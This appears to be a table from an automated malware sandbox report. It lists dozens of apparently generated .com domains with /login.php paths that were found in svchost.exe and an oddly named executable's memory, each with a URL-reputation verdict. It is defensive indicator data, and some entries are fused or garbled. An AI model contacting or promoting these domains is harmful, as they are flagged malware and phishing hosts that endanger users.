http://pupycuv.com/login.php	svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qetykyq.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vofypam.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://qetynev.com/login.php	svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://gadyniw.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2185076169.00000000033EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388042380.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2604863482.0000000001098000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2613849314.0000000000F68000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2608350004.0000000000802000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2614917822.000000000154E000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2640207678.0000000001363000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010C5000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008F91000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2676238100.00000000010BA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pupywyv.com/login.php	svchost.exe, 00000002.00000003.2729337658.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360502034.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358968663.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2358089375.00000000092C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2359102012.00000000092C1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2735954545.0000000003368000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://lygyxux.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3406954551.0000000000812000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3428117276.00000000092CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387081098.00000000092B6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://puzybil.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2672508299.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://volygoc.com/	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyvynid.com/login.php	svchost.exe, 00000002.00000003.2666875773.00000000040F6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vojybim.com/login.php	svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667617957.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649350353.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://gadydow.com/login.php	svchost.exe, 00000002.00000003.2376137841.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2885524752.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376391418.000000000331E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2902106768.00000000040FB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376466077.0000000003325000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375586174.000000000332D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2379454788.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2375980019.0000000003321000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2377198818.000000000332F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2376798591.0000000003325000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.google.comtQ2	svchost.exe, 00000002.00000003.2314820342.0000000009323000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://qeqyxyp.com/login.php	svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336882213.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lysyxar.com/login.php	svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347333934.0000000000851000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347614295.0000000000853000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyxygax.com/login.php	svchost.exe, 00000002.00000003.2346403174.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346603921.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649747897.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2647496494.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356885542.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346691543.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2356000937.00000000092BE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2349309789.00000000092C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://vopykum.com/login.php	svchost.exe, 00000002.00000003.2678962210.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2657780583.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2693258532.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667608142.00000000040FD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667040821.00000000040FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lygyjuj.com/login.php	svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329364841.00000000092BD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329971226.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2327922219.00000000092C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337019540.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330522610.00000000092C6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2330643505.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pumyjip.com/login.php	svchost.exe, 00000002.00000002.3428370692.00000000092EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3287645590.00000000092EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3408110880.0000000000855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386784820.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2385120826.00000000033EB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ganyfuz.com/login.phpE	svchost.exe, 00000002.00000003.2726510414.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2746470521.00000000092B7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lyxyxox.com/login.php	svchost.exe, 00000002.00000003.2757808782.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2363891080.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2364207806.0000000000852000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://gahydyb.com/	svchost.exe, 00000002.00000003.2347539212.0000000003309000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://pupygel.com/	svchost.exe, 00000002.00000003.2329963433.0000000003319000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328865580.0000000003315000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2329926664.0000000003317000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2546812858.00000000040F5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2328162774.0000000003315000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://puvygyv.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3419128942.000000000336B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427392798.0000000009288000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2925665962.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2927397659.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388806823.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928746848.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.3279511546.0000000003369000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2928459922.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.3427876534.00000000092B8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://purymog.com/http://qegylul.com/http://lyryman.com/P	svchost.exe, 00000002.00000003.2359792353.000000000924A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2360483972.000000000924A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lysyfyj.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.00000000086C1000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2671362092.0000000008682000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.0000000009104000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2856769526.0000000008FC3000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000015.00000002.2875818807.00000000091AA000.00000004.00000001.00020000.00000000.sdmp	false		high
http://qekyqop.com/login.php	svchost.exe, 00000002.00000003.2397665900.00000000092E5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2414263063.00000000033CA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388023341.0000000000852000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2197741050.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2386712444.00000000040EE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092E3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2388405607.00000000033C0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2387387248.00000000040F3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2178331950.00000000008A3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2398171627.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2513835440.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2499628727.00000000092E4000.00000004.00000020.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000006.00000002.2622033644.0000000008E90000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D72000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000002.2718258067.0000000008D8F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000007.00000003.2558068199.0000000008D9F000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000009.00000002.2697302039.000000000899E000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093A5000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 0000000B.00000002.2745540362.00000000093CD000.00000004.00000001.00020000.00000000.sdmp, PMnAVsjMPucERAKEWNFImySCFHoLk.exe, 00000013.00000002.2756051050.000000000914B000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://volyquk.com/login.php	svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://lymyxex.com/login.php	svchost.exe, 00000002.00000003.2337886081.00000000092C7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2342419975.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337365737.0000000003363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337520424.0000000003368000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612622918.0000000000854000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2631989272.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337007716.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2337073481.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2601374159.00000000092B6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2335731822.00000000092BC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346961253.0000000003360000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2575537635.0000000000853000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2612862437.00000000092B7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2336470104.0000000003356000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ampproject.org	svchost.exe, 00000002.00000003.3279033707.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2665259102.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2884058737.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2381728153.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2760150538.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2649333466.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2380222392.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2919185604.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2547959760.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2343646996.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2422762232.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2425745567.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2310750407.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2291219253.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2346790386.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2347416587.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2637865779.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2343198568.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2667583572.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2635608953.00000000092FC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2678962210.00000000092FC000.00000004.00000020.00020000.00000000.sdmp	false		high
